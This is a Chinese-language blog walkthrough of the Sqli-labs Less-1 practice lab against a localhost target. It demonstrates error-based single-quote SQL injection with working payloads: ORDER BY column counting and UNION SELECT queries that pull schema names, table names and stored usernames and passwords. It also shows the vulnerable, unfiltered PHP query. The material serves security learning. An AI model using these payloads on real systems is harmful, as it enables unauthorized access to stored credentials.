Sqli-labs Less-1

本文深入解析SQL注入攻击的原理及步骤,从测试漏洞存在性、确定列数到查询数据库名、表名、列名和数据,全面展示了如何利用错误信息进行SQL注入攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

基于错误的SQL注入 Less-1

Less-1 基于错误的单引号注入

1、测试漏洞是否存在

1)id=1时,正常执行

http://127.0.0.1/sqlilabs/Less-1/?id=1

2)id=1'时,报错,说明可能存在SQL注入

http://127.0.0.1/sqlilabs/Less-1/?id=1'

从上述错误当中,我们可以看到提交到SQL语句中的1’在经过 构造后形成 “1” LIMIT 0,1‘,多加了一个’ 。这种方式就是从错误信息中得到我们所需要的信息,那我们接下来想如何将多余的’ 去掉呢? 

 3)id=1'--+,没有报错,说明可以注释掉SQL语句后面的内容,所以直接就把多余的‘去掉了,--就可以注释掉后边的内容,--+是因为--后边需要一个空格,URL编码后+就是空格了。

 http://127.0.0.1/sqlilabs/Less-1/?id=1‘--+

从原理来分析,为什么会造成注入,这是SQL语句

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

 我们之所以可以对参数id进行拼接,是因为语句没有对id进行任何的过滤,所以我们当我们提交id=1'--+时,实际的SQL语句是

SELECT * FROM users WHERE id='1'--+ LIMIT 0,1

2、测试列数

1)id=1'order by 4--+,只有在order by 后面的数字是4时,才会引起报错,说明这里是三列数据。

order by n  :猜测执行SQL语句的列数

http://127.0.0.1/sqlilabs/Less-1/?id=1‘order by 4--+

3、查询数据库名

我们利用union联合注入

union 的作用是将两个SQL语句进行联合

union 前后的两个SQL 语句的选择列数要相同才可以

Union all 与union 的区别是增加了去重的功能

http://127.0.0.1/sqlilabs/Less-1/?id=-1'union select 1,2,3--+

当你输入的id在数据库中不存在时(id=-1),即union前半部分的内容为空,就会显示union后面的语句,所以当我们输入id=-1时,就返回了我们自己构造的union的数据。

现在我们利用information_schema查询数据库名

http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

group_concat() 是多条信息一次查询,因为会有很多数据库,若不加group_concat会只显示第一条,而加上了,就会在一行中全部显示。

4、查询表名

用与查询数据库名相同的方法,查询security的表名

http://127.0.0.1/sqlilabs/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'-- 

5、查询列名

查询uesrs表中的列

http://127.0.0.1/sqlilabs/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'-- 

6、查询数据

查看id=2的username和password中的数据,同理可以查看id=3,id=4等等...

http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,username,password from users where id=2-- 

查看所有用户名密码,我们还是用到group_concat()

http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users-- 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值